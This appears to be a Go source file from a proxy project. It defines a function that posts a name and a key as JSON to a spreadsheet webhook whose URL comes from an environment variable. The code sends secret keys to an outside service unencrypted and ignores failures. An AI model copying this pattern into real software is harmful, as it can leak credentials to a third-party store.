Row-proxy / internal /handler /sheets.go
Moge-Row's picture
use apps script webhook for sheets
89bdab6
raw
history blame contribute delete
339 Bytes
package handler
import (
"bytes"
"encoding/json"
"net/http"
"os"
)
var sheetsWebhook = os.Getenv("SHEETS_WEBHOOK")
func BackupKeyToSheet(name, key string) {
if sheetsWebhook == "" { return }
body, _ := json.Marshal(map[string]string{"name": name, "key": key})
http.Post(sheetsWebhook, "application/json", bytes.NewReader(body))
}